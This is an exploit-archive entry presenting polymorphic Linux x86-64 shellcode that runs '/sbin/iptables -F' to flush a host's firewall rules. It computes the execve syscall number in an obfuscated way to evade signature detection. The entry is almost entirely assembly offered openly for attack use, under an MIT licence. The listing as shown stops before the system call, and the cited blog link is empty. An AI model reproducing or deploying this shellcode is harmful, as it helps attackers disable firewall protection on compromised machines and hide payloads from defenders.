Linux/x86-64 - Polymorphic Flush IPTables Shellcode (47 bytes)

ID 1337DAY-ID-27200
Type zdt
Reporter Robert Taylor
Modified 2017-03-05T00:00:00


Exploit for linux/x86-64 platform in category shellcode

                                            ;The MIT License (MIT)
;Copyright (c) 2017 Robert L. Taylor
;Permission is hereby granted, free of charge, to any person obtaining a 
;copy of this software and associated documentation files (the “Software”), 
;to deal in the Software without restriction, including without limitation 
;the rights to use, copy, modify, merge, publish, distribute, sublicense, 
;and/or sell copies of the Software, and to permit persons to whom the 
;Software is furnished to do so, subject to the following conditions:
;The above copyright notice and this permission notice shall be included 
;in all copies or substantial portions of the Software.
;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability, 
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other 
;liability, whether in an action of contract, tort or otherwise, arising 
;from, out of or in connection with the software or the use or other 
;dealings in the Software.
; For a detailed explanation of this shellcode see my blog post: 
global _start 
section .text
    push 82 
    pop rax
    push rdx
    push word '-F'
    push rsp
    pop rbx
    push rdx
    mov rcx, 'iptables'
    push rcx
    shl al,1
    sub al,cl
    mov rcx, '//sbin//'
    push rcx
    push rsp
    pop rdi
    push rdx
    push rbx
    push rdi
    push rsp
    pop rsi

# [2018-04-13]  #